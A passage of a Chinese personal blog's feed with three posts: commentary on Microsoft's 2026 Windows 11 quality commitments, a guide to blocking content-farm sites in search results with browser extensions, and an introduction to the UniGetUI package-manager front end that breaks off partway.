</div> <section><h3>一、回归设计初心：任务栏自定义位置功能回归<a href="#一回归设计初心任务栏自定义位置功能回归"><span>#</span></a></h3><p>Ｍ＄在文章首先提到：回归任务栏自定义位置功能，将支持任务栏移至底部、顶部、左右四侧。该功能从 Win98 时期伴随着 Windows 的发展一直存在，在 Win11 首次发布时被砍掉，这令用户大失所望，让工作空间布局的痛点+1。这种复活旧功能的举措，也许能提高用户对 Win11 的印象与对Ｍ＄的期望值。</p><p>我主力系统是Win10，没咋用过Win11，我竟然不知道它把这玩意儿给砍了）</p><p></p><figure><img src="https://winblogs.thesourcemediaassets.com/sites/44/2026/03/02_Vertical-Taskbar-1024x621.png" alt="回归任务栏自定义位置" /><figcaption>回归任务栏自定义位置</figcaption></figure><p></p></section><section><h3>二、减少 Copilot AI 与系统的捆绑<a href="#二减少-copilot-ai-与系统的捆绑"><span>#</span></a></h3><p>这次对系统功能的整改，令人拍手叫好。虽然说迈入 AI 时代，许多互联网龙头都向 AI 伸出橄榄枝，但微软的做法比其他企业却更为激进：与 OpenAI 合作，推出自家基于 ChatGPT 残血版的 Copilot AI (智能 Microsoft 365 Copilot 副驾驶®.jpg)   (依旧微软式翻译发力) ，并将它植入到 Win11 系统功能的任何一个角落。是的，那个时候甚至你能在<strong>记事本</strong>看到 Copilot 的身影</p><p>岁月史书时间：在微软疯狂推广自家AI的时期，发生了一件令人深感愤懑的事情：微软高管称用户对Windows增加AI功能不感兴趣的态度感到不解。
本来这事消停了一点，但之后微软AI业务的 CEO <code>Mustafa Suleyman</code> 的表态又火上添油了，他对<strong>大家对微软增加AI功能“不感兴趣”的态度</strong>感到<strong>震惊和不解</strong>，还把这些人称之为<strong>愤世嫉俗的人</strong>，换我们能理解的词其实就是<strong>喷子</strong>。<sup><a href="https://x.com/mustafasuleyman/status/1991179913303363902" target="_blank">[来源]</a></sup></p><p>而现在，Ｍ＄承诺将更有针对性地在 Windows 中集成 Copilot，减少不必要的入口点，从截图工具、照片应用、小组件和记事本等应用中移除冗余的 Copilot 集成。</p><p>(我最希望微软真的这么做吧，万物缝入AI真的非常不可取甚至会让人反感，反面教材多的是，希望微软以及各个互联网企业吸取教训)</p></section><section><h3>三、降低 Windows 更新推送频率<a href="#三降低-windows-更新推送频率"><span>#</span></a></h3><p>自 Win10 占据市场份额以来，Windows Update 饱受诟病，它在不经意间就会弹出来提醒用户，还会自动重启与通知，让用户疯狂吐槽，也造就了经典的直播名场面。(某yt博主直播玩游戏到一半，电脑突然自动更新重启.jpg)</p><p>这种情况直到 Win11 普及都没有改善反而变本加厉。用户工作活动时常常被 Windows 补丁更新所干扰，令人非常头疼，给人感觉自己掌控的设备与权利不是自己的而是互联网企业的。</p><p>这里我需要辟谣一件事：Windows 10 的停止支持不代表不会自动推送更新，只是不发布新的补丁罢了。(除非遇到像2017年WannaCry勒索病毒这样的重大事件，当年微软紧急给XP系统发布补丁)自动弹窗与重启仍会在旧系统复现 (你在虚拟机上装个Win7或者WinXP甚至还能收到往年发布的更新补丁（（) </p><p>对此，Ｍ＄做出了违背祖宗的决定这样前所未有的决定：减少 Windows 更新带来的干扰！Ｍ＄终于意识到<em>接收更新应该是</em> <strong>可预测且易于安排的</strong>，将赋予用户更多的控制权，具体举措为：</p><ol>
<li>在设备设置期间跳过更新以更快进入桌面、重启或关机而不安装更新</li>
<li>在需要时暂停更新更长时间</li>
<li>通过减少自动重启和通知来降低更新带来的干扰</li>
</ol><p>私认为，该措施绝对让用户感到无比的激动：自己的电脑终于不用收到那么厌烦的更新推送了！它将重新定义用户的数字主权与自由，重新调整用户与各互联网企业之间的关系，营造良性消费市场与企业竞争</p><p>谷歌你学着点，别搁这把 Android 封闭化了，没有苹果的命却得了苹果的病，以所谓反诈为噱头封锁侧载与刷机绝对是<em>杀敌一千自损八百</em>的做法</p></section><section><h3>四、改进 Explorer 资源管理器<a href="#四改进-explorer-资源管理器"><span>#</span></a></h3><p>文件资源管理器是 Windows 系统中最常用的界面之一。微软宣称，第一轮改进将着重于提升启动速度、减少闪烁、优化导航体验，并增强日常文件操作的可靠性能。</p><p>的确，Explorer 的卡顿、闪退现象着实让用户抓耳挠腮。这样一个非常基础的系统软件，如果连正常体验都做不到，鲁棒性Robustness弱到谷底，那对于用户将是重大灾难。</p><blockquote><p>接下来依旧是我最爱的皮豆环节：你们微软工程师是没碰过Windows吗？.jpg</p></blockquote><ul>
<li><a href="https://www.bilibili.com/video/BV1gZ421x7b3" target="_blank">B站 · Epcdiy | Win中使用率最高的软件，为何那么容易卡死崩溃？</a></li>
<li><a href="https://www.bilibili.com/video/BV1HD37zaE7p7" target="_blank">B站 · Epcdiy | 为什么打开文件夹会那么卡？我们找到了真相！</a></li>
</ul><p>好在Ｍ＄在承诺中有所反思，这些恶性现象有望得到改善。最好带上任务管理器Taskmgr，这玩意排查进程问题时经常卡死，什么时候考虑来修一修━━(￣ー￣*|||━━</p></section><section><h3>五、对小组件的信息流改进<a href="#五对小组件的信息流改进"><span>#</span></a></h3><p>在一个几乎无人在意的角落，Ｍ＄居然也考虑到了。小部件应该实用且相关，而不是分散注意力或让人眼花缭乱。微软将采用更安静的默认设置，增加用户对小组件显示时机和方式的控制，并优化 Discover 订阅源的个性化推荐。</p></section><section><h3>六、其他方面的整改<a href="#六其他方面的整改"><span>#</span></a></h3><blockquote><p>啥都别说了，让我们先：</p><p>:(</p><p>Windows 预▯体验成员内▯版本遇到问题，需要重启。</p><p>我们只收集某些错误信息，然后为你重新启动。</p><p>114514% 完成</p><p>二维码     有关此问题的详细信息和可能的解决方法，请访问 <a href="https://www.windows.com/stopcode" target="_blank">https://www.windows.com/stopcode</a></p><p>二维码     如果致电支持人员，请向他们提供以下信息：</p><p>二维码     终止代码：MICROSOFT_IS_BIG_BAKA</p></blockquote><ul>
<li>更简洁、更透明的 Windows 预览体验计划： Windows 预览体验计划(Windows Insider Preview)是用户参与塑造 Windows 未来发展的重要途径，因此，Ｍ＄意识到用户应该能够轻松了解计划内容和参与方式。巨硬正在进行一些改进，让用户能够更轻松地浏览计划，包括更清晰的频道定义、更便捷地获取新功能、更高质量的预览版本、更清晰地了解用户的反馈如何影响 Windows，以及更多与巨硬直接互动的机会。</li>
<li>改进后的反馈中心于今日(3月20日)起正式上线：将面向 Windows 预览体验成员推出迄今为止规模最大的反馈中心更新，重新设计的界面让用户能够更快、更轻松地提交反馈并与社区互动。</li>
</ul><p></p><figure><img src="https://winblogs.thesourcemediaassets.com/sites/44/2026/03/03_FeedbackHub2.0-1024x624.png" alt="正式上线翻新后的反馈中心" /><figcaption>正式上线翻新后的反馈中心</figcaption></figure><p></p><div><div><div></div><div>Note</div></div><div><p>以下内容摘抄于<a href="https://windiscover.com/posts/microsoft-commitment-to-windows-quality-2026.html" target="_blank">此网页</a>，其实是原版 Windows 官方 Blog 的翻译）</p><p>对于以下内容，我将不会继续解读，让用户自主感受。</p></div></div><ol>
<li>
<p>性能优化：</p>
<p>微软致力于让 Windows 11 的响应更加迅速和一致：</p>
<ul>
<li>系统性能提升：降低 Windows 资源占用，减少应用启动时间（如文件资源管理器），优化内存效率，确保在高负载下仍保持响应。</li>
<li>应用交互流畅性：将核心 Windows 体验迁移至 WinUI3 框架，降低交互延迟，提升开始菜单等核心组件的响应速度。</li>
<li>文件资源管理器优化：显著降低搜索、导航和上下文菜单的延迟，提升大文件复制/移动的速度和可靠性。</li>
<li>WSL 体验升级：提升 Linux 与 Windows 之间的文件传输速度，改善网络兼容性和吞吐量，简化首次设置流程，并加强企业级策略控制。</li>
</ul>
</li>
<li>
<p>可靠性增强:</p>
<p>可靠性是用户信任的基石，微软将在以下方面重点投入：</p>
<ul>
<li>Windows Insider 计划质量提升：明确各频道功能范围，提供更灵活的频道切换，提高构建版本质量，并建立更强的反馈循环机制。</li>
<li>系统、驱动和应用的稳定性：减少操作系统崩溃，提升驱动质量和应用稳定性；优化蓝牙配件连接稳定性，减少 USB 相关崩溃，改善打印机发现和连接体验；提升摄像头和音频连接的可靠性；改进设备唤醒一致性，特别是扩展坞场景。</li>
<li>Windows Update 体验改进：减少更新干扰，将设备统一为每月一次重启；提供更直接的更新控制，包括无限期暂停更新和无需安装即可关机；加快更新速度，提供更清晰的进度显示，并内置恢复机制。</li>
<li>Windows Hello 生物识别优化：提升面部识别可靠性，加快指纹识别速度并减少重试次数，为游戏掌机（如 ROG Xbox Ally X）提供完整的游戏手柄支持以创建 PIN。</li>
</ul>
</li>
<li>
<p>用户体验打磨：</p>
<p>微软将投入资源提升整体可用性，提供更多个性化选项，减少干扰：</p>
<ul>
<li>开始菜单和任务栏优化：提供更一致、可靠的应用和文件访问体验；扩展任务栏个性化选项，包括替代位置和更小尺寸；优化开始菜单”推荐”部分，显示更相关的内容并提供清晰的自定义控制。</li>
<li>减少干扰，提升专注度：简化新设备设置流程，减少页面和重启次数；小组件默认采用更克制的信息展示方式；简化设置选项，便于用户根据个人偏好自定义小组件和订阅源内容；减少通知干扰。</li>
<li>搜索体验增强：提供更快、更准确的搜索结果，清晰区分本地内容和网络结果；在任务栏、开始菜单、文件资源管理器和设置中提供一致的搜索体验。</li>
</ul>
</li>
<li>
<p>开发流程改进</p>
<p>微软正在改进 Windows 的内部构建流程，以提高质量标准：</p>
<ul>
<li>在新功能到达 Windows Insider 之前，进行更深入的验证和更广泛的测试，覆盖真实硬件和使用场景。</li>
<li>更有针对性地引入新功能，确保构建版本质量更高、创新更有意义。</li>
<li>为用户提供更大的灵活性，让其自主选择想要尝试的功能。</li>
</ul>
</li>
<li>
<p>此外，微软将继续遵循 <a href="https://www.microsoft.com/en-us/trust-center/security/secure-future-initiative" target="_blank">Secure Future Initiative(Microsoft 未来安全计划)</a>，在每个版本中增强 Windows 安全性，构建新功能并默认加强安全保护，以保护用户、设备和数据。</p>
</li>
</ol></section></section>
<section><h2>总体看法 &amp; 评价：是**“画大饼”<strong>还是</strong>“诚意满满”**？<a href="#总体看法--评价是画大饼还是诚意满满"><span>#</span></a></h2><p>虽然Ｍ＄的整改清单看起来颇具诚意，但聪明的你应该发现，仍然有不少“牢问题”被刻意回避。</p><p>比如强制微软账户登录的问题，从 Windows 11 发布至今一直备受吐槽，尤其是在重装系统时，不登录账户几乎无法完成基础使用，<strong>但此次整改并未提及</strong>。(虽然说有方法可以绕过它，但是有部分用户不了解方法或者不想搞这么麻烦)</p><p>再比如系统广告与推送，微软只提到 <strong>“减少通知干扰”</strong>，却<strong>没有明确</strong>是否会<strong>移除系统内嵌的广告</strong>，想要<strong>彻底摆脱“广告系统”，恐怕仍然为时过早</strong>。</p><p>也有人质疑，“更有分寸地融入 AI”，是否只是<strong>换一种方式继续植入 Copilot</strong>，而非<strong>真正减少干扰</strong>。</p><blockquote><p>就连国外科技媒体 Ars Technica 也直言：“就像餐厅主厨反复强调自己重视菜品质量，反而会让人怀疑，为什么他需要说这么多次？”</p><p>非常恰当的比喻，我就喜欢这么痛快的锐评！</p></blockquote><p>个人评价是，即便一部分人对Ｍ＄的信任已然崩塌，但作为介于软粉与软黑的中立用户而言，巨硬写下“忏悔录”的那一刻，意味着它还有想着改过自新的信心，重新审视自己，重新建立与用户之间的信任，摆脱孤高自傲、对外界声音不理不睬的企业作风。这样的做法已经比其他互联网龙头优秀很多了！你说是吧，谷歌？</p><p>当然，我个人对巨硬的期望不会太高。上面是我作为软粉的一面，接下来我换成软黑的视角评价。(不是左右脑互搏)有句古话是：</p><blockquote><p>期望越大，就失望越大；只要降低期望，就会发现原来的也不会太失望了。</p></blockquote><p>对于一个体系非常庞大且盘踞多年市场的互联网巨头，其团队内部也许会有矛盾与冲突的时候，这次的发言可能是一个CEO热衷于整肃，想在自己手中收拾前几任的烂摊子，于是拍案即合，带领团队一起撰写、一起挖坑画大饼；然后几年后下一任CEO追求所谓效率与KPI，直接把它当成一张烂纸，不了了之；又或者说没过几个月内部就谈崩了，拿下级没办法直接糊弄过去……😂</p><p>(以上全是个人猜测，我们也不是什么预言家，还是让我们等待后续如何吧……)</p><p><strong>The END</strong></p><p>Date: 2026.03.26</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E5%BC%82%E9%97%BB%E5%BD%95/content-farm/</id>
      <title type="text">如何清理「内容农场」？</title>
      <published>2025-12-12T00:00:00.000Z</published>
      <updated>2025-12-12T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E5%BC%82%E9%97%BB%E5%BD%95/content-farm/"/>
      <summary type="text">铲除**内容农场**产生的垃圾信息，还你一个清净的中文搜索体验！</summary>
      <content type="html"><![CDATA[<div><div><div></div><div>2026 年首次开创新专栏合集</div></div><div><p>2026.04.15 更新：本人因Blog文章未来规划需要，特此新增《搜索引擎异闻录》这一全新的合集！让我们恭喜 LingXi 再次为我们画了个大饼🎉 (bushi)</p></div></div>
<section><h2>前言<a href="#前言"><span>#</span></a></h2><p>这几个月，我一直使用Bing搜索引擎，使用中文关键词搜索很多技术类问题，发现一个很严重的现象：搜索引擎弹出来的一些搜索结果中，有些网站文章粗略读起来有点合情合理，而仔细一读却错漏百出！这些文章都有个共同点：东拼西凑，前言不搭后语，牛头不对马嘴，甚至有浓烈的AI生成味……</p><p>没错！这些毫无营养的内容，我们都把它们称之为——<strong><code>内容农场</code></strong>！</p><p>我因此被这些互联网垃圾化粪池困扰了许久，它们的出现，无异于每次使用搜索引擎，都需要我在屎里淘金。</p><p>更绝的是，这些内容农场，它不仅仅抢占SEO，污染搜索引擎，甚至还会污染各大具有联网搜索功能的AI的引用源！(没办法开了联网搜索这些AI必然会被影响，目前也没有任何方法可以做到让LLM排除特定网站，唯一的方法就是关闭联网搜索)</p><p>如果你对如何抗击内容农场感兴趣，不妨先读读以下两篇博客：</p><ol>
<li><a href="https://sspai.com/post/69407" target="_blank">清理「内容农场」，还你清爽的 Google 中文搜索体验 - 少数派</a></li>
<li><a href="https://blog.ichr.me/post/evil-content-farm/" target="_blank">「内容农场」属实在玷污 Google 搜索结果 | ChrAlpha’s blog</a></li>
</ol></section>
<section><h2>什么是「内容农场」？<a href="#什么是内容农场"><span>#</span></a></h2><p>以下是<a href="https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E8%BE%B2%E5%A0%B4" target="_blank">Wikipedia(中文维基)</a>对「内容农场」的解释：</p><blockquote><p><strong>内容农场</strong>（英语：<em>content farm</em>）是指为了牟取广告费等商业利益或出于控制舆论、带风向等特殊目的，快速生产大量网络文章来吸引流量的网站，通常，其也利用搜索引擎来达到吸睛点击；农场文或灌水文则是此类网站制造的文章。</p></blockquote><p>简单来说，所谓的 <strong><code>内容农场</code></strong>，就是快速产出大量低质内容、不择手段吸引流量、借此牟取暴利的网站。放任甚至鼓励小编体营销号生长的部分国内平台，个人认为应当同样归类为内容农场。</p><p>先从 <strong><code>快速产出大量低质内容</code></strong> 说起，它到底有多快，有多少？本博客上面的文章，迄今为止十根手指头都能数得过来；而一个内容农场站群所掌握的域名数量可能数以千计，如果把每个页面都打印后连起来，内容农场的内容产出速度很可能会超越光速——但这并未推翻狭义相对论，因为其中不传递任何信息 (确实，因为它们没有任何质量可言)。</p><p>此等更新速度，显然不是因为雇了一个集团军的写手团队。内容农场的文章通常直接爬取自其它平台，用自动化程序实现从采集到发布的一整套流程。甚至有些网站不用爬虫，直接让AI批量生成毫无营养的文章然后上传，爬虫都省了(～￣▽￣)～</p><p>在此特地点名一个内容农场——它就是臭名昭著，人见人恨的*****(算了不提名字，怕给人家引流)，玛德我每次搜索技术类问题，天天在我的搜索结果中冒出来，里面的内容可以说就像是印度恒河水与日本核污水混合起来一样——人一碰就死！我一看到那个网站上的AI味十足的男胡子程序员logo，心里直犯恶心，呕呕呕！🤢🤮</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pZMCdPS.1e982f5lcs.png" alt="出现在搜索引擎前列也太恶心了" /><figcaption>出现在搜索引擎前列也太恶心了</figcaption></figure><p></p></section>
<section><h2>如何屏蔽<a href="#如何屏蔽"><span>#</span></a></h2><p>内容农场往往手握众多域名，一个被降权、套娃立刻上线，<code>-example.com</code>等<code>搜索语法</code>也只能作为临时措施。</p><p>由于各大搜索引擎的举报系统有时候是摆设来的，短期内我们很难指望搜索引擎优化相关算法，也不太可能通过人工手段干预搜索结果。如果你不想切换到其它搜索引擎（当然其它搜索引擎也不会好到哪去），更实际的方案是设法将内容农场从搜索结果中剔除。</p><p>下面介绍几种可行方案：</p><section><h3>uBlacklist 插件<a href="#ublacklist-插件"><span>#</span></a></h3><div><div><div></div><div>Caution</div></div><div><ul>
<li>由于该插件未上架Edge 扩展商店，Edge 浏览器用户需要手动下载crx插件包手动安装，国内可用的uBlacklist crx下载链接：
<a href="https://www.crxsoso.com/webstore/detail/pncfbmialoiaghdehhbnbhkkgmjanfhe" target="_blank">uBlacklist | Chrome扩展 - Crx搜搜</a></li>
</ul></div></div><p>眼不见为净，最直接的方式当然是避免搜索结果中出现内容农场。<a href="https://ublacklist.github.io/docs" target="_blank">uBlacklist</a>这款浏览器扩展就能自动屏蔽搜索引擎页面中出现的低质量结果，支持<a href="https://chrome.google.com/webstore/detail/ublacklist/pncfbmialoiaghdehhbnbhkkgmjanfhe/" target="_blank">Chrome</a>、<a href="https://addons.mozilla.org/en/firefox/addon/ublacklist/" target="_blank">Firefox</a> 和 <a href="https://apps.apple.com/us/app/ublacklist-for-safari/id1547912640" target="_blank">Safari</a> 等主流平台。 (可惜了没有上架Edge扩展商店) 安装后，搜索结果的网址后面就会出现「加入黑名单」按钮，允许你通过域名、标题和正则表达式屏蔽不想看到的站点。例如，规则<code>/^https:\/\/www\.example\./</code> 将匹配所有以 <code>https://www.example.</code> 开头的 URL。</p><p>规则的进阶用法，不妨参阅 MDN 文档对<a href="https://developer.mozilla.org/zh-CN/docs/Mozilla/Add-ons/WebExtensions/Match_patterns" target="_blank">匹配模式</a>和<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Regular_expressions" target="_blank">正则表达式</a>的讲解，uBlacklist 官网也给出了<a href="https://ublacklist.github.io/docs/advanced-features#match-patterns" target="_blank">部分范例</a>。</p><p>成功创建规则后，下次搜索时，uBlacklist 便会帮你隐藏已屏蔽的域名，并在顶部显示屏蔽数量。如果没搜到想要的结果，也可以暂时取消屏蔽，检查是否有误伤，uBlacklist 会高亮展示这些条目。对了，在扩展的选项页中，能够自定义高亮的颜色模式，还可以单独高亮指定搜索结果。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pZMC4xJ.3626xbp52p.png" alt="UBlacklist 效果图" /><figcaption>UBlacklist 效果图</figcaption></figure><p></p>红色为被屏蔽的搜索结果<p>uBlacklist 默认仅为 Google 搜索结果启用，你可以在扩展的选项页中手动开启支持必应、DuckDuckGo、Ecosia 和 Startpage 四款搜索引擎，需要同意「存取相关网页数据」的额外权限。同页面还提供更多自定义选项，手动编辑、导入、导出规则，使用 Google 云端硬盘或 Dropbox 云端同步数据等功能。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pZMCIM9.2h8xdb1qbq.png" alt="UBlacklist 配置界面" /><figcaption>UBlacklist 配置界面</figcaption></figure><p></p><p>内容农场茫茫多，单靠自己添加，怕是得把这当成全职工作才行。这种时候，就有必要借助社区的力量了，一份由全球网友贡献并维护的优质规则列表可以极大地节约我们的时间。</p><p>目前更新最及时、社区最活跃的中文项目是 Google Chinese Results Blocklist，自 2016 年不断完善至今，已覆盖数千网址，提供 精确匹配 和 模糊匹配 两种规则，复制订阅链接后直接添加即可。uBlacklist subscription compilation 是一个较为激进的项目，整合网络上大部分订阅列表，通过 GitHub Actions 自动更新。也欢迎你参与上述项目，分享遇到的垃圾站点，让更多人受益。</p><a href="https://github.com/cobaltdisco/Google-Chinese-Results-Blocklist" target="_blank"><div><div><div><div></div><div>cobaltdisco</div></div><div>/</div><div>Google-Chinese-Results-Blocklist</div></div><div></div></div><div>我终于能用谷歌搜中文了……</div><div><div>—</div><div>—</div><div>no-license</div><span>Unavailable</span></div></a></section><section><h3>终结内容农场<a href="#终结内容农场"><span>#</span></a></h3><blockquote><p>先说一句，这插件名字好中二啊（</p></blockquote><p>只屏蔽搜索结果，有时还是难免一脚踏入陷阱，被某个看似无害的超链接带进内容农场的地盘。「<a href="https://github.com/danny0838/content-farm-terminator" target="_blank">终结内容农场</a>」这款扩展就是对付它们的利器，不论身处何方，它都能在每个指向内容农场的链接前加上醒目的红色感叹号标志，与正常链接区分，并在进入农场前再次贴心提醒。</p><p>若依然执迷不悟，不妨点击「查看」按钮，浏览屏蔽多媒体内容和内嵌脚本后的纯净版页面，不让农场主骗取一分钱广告收益；想浏览完整网页，只能通过「解锁」按钮，但必须输入验证码，而且有冷却时间，避免频繁使用失去屏蔽的意义。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pZMCzMd.26m3k5mo7f.png" alt="拦截页面" /><figcaption>拦截页面</figcaption></figure><p></p><p>「终结内容农场」扩展自然也支持订阅网络屏蔽列表，除了预设的 标准内容农场清单，在<a href="https://danny0838.github.io/content-farm-terminator/zh/subscriptions" target="_blank">GitHub 项目资料库</a>，还提供了较为主观的<code>类内容农场清单</code>、聚焦社交网站账户的<code>社群内容农场清单</code>、报道罔顾事实的<code>假新闻网站清单</code>和谋财害命的<code>诈骗网站清单</code>等，可以根据自己的实际情况导入使用。</p><p>屏蔽名单的语法在扩展选项页有详细说明，支持正则表达式匹配和通用转换规则。用户还能填写<a href="https://goo.gl/forms/4nsmTmGjJUzQtr0p1" target="_blank">Google 表单</a>，报告新发现的内容农场或被误杀的正规网站，让扩展更加完善。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pZMPpqI.1zivoq0n5s.png" alt="终结内容农场 配置界面" /><figcaption>终结内容农场 配置界面</figcaption></figure><p></p><p>除了专用扩展，<a href="https://github.com/gorhill/uBlock" target="_blank">uBlock Origin</a>、<a href="https://adguard.com/zh_cn/welcome.html" target="_blank">AdGuard</a>等现代广告过滤工具同样支持自定义拦截规则列表，亦可用来屏蔽内容农场；在 Android 设备上，我更推荐使用 Firefox、Kiwi Browser 等支持安装扩展的浏览器，再借助上文介绍的方法提升搜索体验。</p><p>自 iOS 15 开始，移动端 Safari 浏览器也支持安装扩展，目前 uBlacklist 已经适配，相信未来会出现更多实用工具。</p></section></section>
<section><h2>结语<a href="#结语"><span>#</span></a></h2><p>个人抵制内容农场的最佳方法，是无视它。不点击、不阅读、不分享，不给对方贡献任何流量，唯有令运营者无利可图，才可能甘愿退出。如果你是内容创作者，可以开设属于自己的博客，或者在对搜索引擎友好的平台撰文，好内容不应当是微信公众号独享。</p><p>每个人都做力所能及之事，改善严峻的简中互联网环境，才是根绝弊病的治本之道。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E7%A7%91%E6%99%AE/unigetui/</id>
      <title type="text">UniGetUI：让Windows软件管理告别命令行，图形化操作真高效</title>
      <published>2025-10-03T00:00:00.000Z</published>
      <updated>2025-10-03T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E7%A7%91%E6%99%AE/unigetui/"/>
      <summary type="text">一键集成Winget、Scoop、Chocolatey等10多种包管理器</summary>
      <content type="html"><![CDATA[<p>在日常使用Windows时，你是否曾为软件安装更新而烦恼？或是在复杂的命令行面前望而却步？如果你渴望一种更简单、更直观的方式来管理电脑软件，那么<strong>UniGetUI</strong>可能就是你的理想解决方案。</p>
<section><h2>什么是UniGetUI？<a href="#什么是unigetui"><span>#</span></a></h2><p>UniGetUI是一款专为Windows 10和Windows 11设计的<strong>图形用户界面工具</strong>，它的主要目标是简化常见命令行包管理器的使用体验。</p><p>最初它被称为WingetUI，随着支持的管理器种类越来越多，才改名为UniGetUI，这也反映了其功能范围的扩展。</p><p>UniGetUI本身并不存储软件包，而是作为一个<strong>统一的图形化前端</strong>，将多种命令行包管理器聚合在一起，让用户无需记忆复杂命令，就能轻松管理成千上万的软件。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pVTjxVe.92qr4c1y8s.png" alt="UniGetUI 示意图" /><figcaption>UniGetUI 示意图</figcaption></figure><p></p></section>
<section><h2>核心功能特性<a href="#核心功能特性"><span>#</span></a></h2><p>UniGetUI的魅力在于其强大而实用的功能集，几乎涵盖了软件管理的所有方面：</p><section><h3>一站式软件管理<a href="#一站式软件管理"><span>#</span></a></h3><p>只需在搜索框中输入软件名称，UniGetUI就会同时从所有已配置的包管理器中查找结果。 你可以轻松比较不同来源的同一软件，并一键安装所需版本。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/2024082420185090991.b9irj6evc.png" alt="一站式软件管理" /><figcaption>一站式软件管理</figcaption></figure><p></p></section><section><h3>批量操作效率神器<a href="#批量操作效率神器"><span>#</span></a></h3><p>无论是新电脑配置还是批量软件更新，UniGetUI的批量处理功能可以节省大量时间。 你可以一次性选择多个软件进行安装、更新或卸载，无需逐个操作。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pVTTqiV.7lkm2ky57w.png" alt="批量操作" /><figcaption>批量操作</figcaption></figure><p></p></section><section><h3>智能更新管理<a href="#智能更新管理"><span>#</span></a></h3><p>软件更新变得前所未有的简单。UniGetUI会自动检查已安装软件的更新，并通过系统托盘通知提醒你。</p><p>你可以灵活设置更新规则，甚至对特定软件选择”跳过此版本”或”永久忽略更新”。</p></section><section><h3>高度自定义安装<a href="#高度自定义安装"><span>#</span></a></h3><p>不同于普通的软件商店，UniGetUI允许你深度定制安装过程。你可以选择软件版本、体系结构（32位或64位），添加自定义安装参数，甚至指定安装路径。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pVT7ii6.96ad21vlw9.png" alt="软件信息介绍页面示例" /><figcaption>软件信息介绍页面示例</figcaption></figure><p></p></section><section><h3>软件包分享与迁移<a href="#软件包分享与迁移"><span>#</span></a></h3><p>想要与朋友分享喜欢的软件？只需点击”分享”按钮，即可生成专属链接。</p><p>更实用的是，你可以<strong>导出已安装软件列表</strong>，在新设备或重装系统后快速恢复所有软件环境，大大简化了系统迁移过程。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Screen-20250331171752@2x.5fl7gt6x6s.avif" alt="软件包分享与迁移" /><figcaption>软件包分享与迁移</figcaption></figure><p></p></section><section><h3>系统深度集成<a href="#系统深度集成"><span>#</span></a></h3><p>UniGetUI提供系统托盘图标实时显示更新状态，还支持Windows 11小组件，让你无需打开主程序就能查看更新并快速操作。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pVTTORU.1zivopxeay.png" alt="系统深度集成" /><figcaption>系统深度集成</figcaption></figure><p></p></section></section>
<section><h2>支持的包管理器<a href="#支持的包管理器"><span>#</span></a></h2><p>UniGetUI的强大之处在于其广泛的包容性，目前支持多达10种主流包管理器：</p><ul>
<li><strong>Winget</strong>（包括Microsoft Store应用）</li>
<li><strong>Scoop</strong></li>
<li><strong>Chocolatey</strong></li>
<li><strong>Pip</strong>（用于Python包管理）</li>
<li><strong>Npm</strong>（用于Node.js包管理）</li>
<li><strong>PowerShell Gallery</strong></li>
<li>以及<strong>NuGet</strong>、<strong>.NET Tool</strong>等共10种包管理器</li>
</ul><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pVTTXzF.8advmlmckm.png" alt="支持包管理器" /><figcaption>支持包管理器</figcaption></figure><p></p></section>
<section><h2>安装指南<a href="#安装指南"><span>#</span></a></h2><p>安装UniGetUI非常简单，有多种方法可供选择：</p><section><h3>微软商店安装（推荐新手）<a href="#微软商店安装推荐新手"><span>#</span></a></h3><p>这是最安全简单的方法：打开Microsoft Store，搜索”UniGetUI”，点击获取即可。 自动更新，无需担心安全问题。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pVTvS5d.8hh3i18p9j.png" alt="MS Store页面" /><figcaption>MS Store页面</figcaption></figure><p></p></section><section><h3>安装包安装<a href="#安装包安装"><span>#</span></a></h3><p>访问UniGetUI的GitHub项目页面，从Releases页面下载最新安装包。 提供exe安装程序和绿色压缩包两种选择。</p></section><section><h3>通过包管理器安装<a href="#通过包管理器安装"><span>#</span></a></h3><p>如果你已经在使用包管理器，可以直接通过以下命令安装：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>winget install UniGetUI</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>或</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>scoop install unigetui</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>最新动态：UniGetUI 3.3.0<a href="#最新动态unigetui-330"><span>#</span></a></h2><p>最近，UniGetUI发布了3.3.0大版本更新，带来了多项实用新功能：</p><ul>
<li><strong>批量下载安装程序</strong>：可以一次性下载多个软件的安装包</li>
<li><strong>云备份和恢复</strong>：将软件配置备份到云端，方便跨设备同步</li>
<li><strong>更多命令支持</strong>：在安装、卸载或更新前终止进程</li>
<li><strong>界面优化</strong>：搜索框位置调整，工具栏增强</li>
</ul></section>
<section><h2>使用场景<a href="#使用场景"><span>#</span></a></h2><p>UniGetUI适用于多种场景：</p><ul>
<li><strong>个人用户</strong>：快速安装和更新日常软件，避免访问各种官网的麻烦</li>
